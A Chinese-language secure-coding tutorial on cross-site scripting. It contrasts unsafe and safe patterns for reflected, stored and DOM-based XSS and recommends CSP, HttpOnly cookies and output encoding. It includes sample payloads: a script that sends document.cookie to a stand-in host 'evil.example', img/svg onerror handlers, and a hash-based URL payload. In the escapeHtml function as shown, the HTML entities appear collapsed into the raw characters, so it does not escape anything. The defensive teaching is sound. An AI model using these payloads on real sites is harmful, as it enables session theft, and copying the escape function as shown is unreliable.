XSS(跨站脚本)
攻击者在页面中注入可执行脚本,借助浏览器对页面的信任执行窃取 Cookie、篡改 DOM、钓鱼跳转等操作。
三类 XSS 对比
| 类型 | 脚本如何进入页面 | 典型场景 |
|---|---|---|
| 反射型 | URL 参数等「反射」进响应 HTML | 搜索页、error= |
| 存储型 | 写入数据库再输出给所有访客 | 评论、昵称、富文本 |
| DOM 型 | 前端把不可信字符串写入可执行上下文 | innerHTML、location.hash、eval |
下面分别给出「不安全写法 → 攻击载荷思路 → 安全写法」。
1. 反射型:URL 进入 HTML
攻击示意(服务端拼接响应时):
html
<!-- 假设服务端模板类似:搜索结果页 -->
<!-- GET /search?q=<payload> -->
<p>您搜索的是:{{{ query }}}</p>载荷示例(概念示意,勿在生产环境尝试攻击他人站点):
text
?q=<script>fetch('https://evil.example/log?c='+document.cookie)</script>若服务端未转义,浏览器解析 HTML 时会执行 <script>。
前端若自行拼接搜索结果(错误示例):
js
const params = new URLSearchParams(location.search);
const q = params.get('q') ?? '';
document.getElementById('out').innerHTML = `您搜索的是:<b>${q}</b>`; // 危险:q 中含标签即 XSS防护写法(优先文本节点):
js
const params = new URLSearchParams(location.search);
const q = params.get('q') ?? '';
const el = document.getElementById('out');
el.textContent = ''; // 清空
const bold = document.createElement('b');
bold.textContent = q;
el.append('您搜索的是:', bold);通用 HTML 转义(仅在必须用 innerHTML 时):
js
function escapeHtml(s) {
return String(s)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
document.getElementById('out').innerHTML = `您搜索的是:<b>${escapeHtml(q)}</b>`;2. 存储型:富文本 / 评论入库再展示
攻击思路: 在昵称、评论中存 <img src=x onerror="..."> 或 <svg onload="...">,其他用户打开列表即执行。
错误示例(Vue):
vue
<div v-html="commentHtml"></div>若 commentHtml 来自用户提交且未消毒,等同存储型 XSS。
防护思路:
- 服务端:白名单标签消毒(如只允许
p、a、code),或对全文纯文本存储。 - 前端:仅在可信消毒后再
v-html;或使用 Markdown 渲染库的安全模式。 - Cookie:会话 Cookie 设
HttpOnly,减轻脚本直接读 Cookie(但仍需防 XSS,因脚本可代用户发请求)。
3. DOM 型:哈希、eval、innerHTML
典型攻击载荷:
text
https://app.example/#<img src=x onerror=alert(1)>若代码读取 location.hash 并写入 DOM:
js
// 危险
document.getElementById('panel').innerHTML = location.hash.slice(1);安全写法: 永远不把 hash/query 写进可执行 HTML;若展示,用 textContent 或严格转义。
js
document.getElementById('panel').textContent = decodeURIComponent(location.hash.slice(1));4. CSP(内容安全策略)—— 纵深防御
由服务端响应头或 <meta> 限制脚本来源与内联脚本(需仔细配方,避免破坏业务)。
http
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';说明:CSP 不能替代输出编码,但能显著缩小 XSS 成功后的破坏面(例如禁止 eval、限制外链脚本)。
小结
- 根本:不可信数据进入 HTML 属性或脚本上下文前必须 编码或严格的结构化消毒。
- 框架:Vue/React 默认文本插值会转义;危险开关是
v-html、dangerouslySetInnerHTML、富文本。 - 配套:
HttpOnlyCookie、CSP、Trusted Types(进阶)共同减小影响。
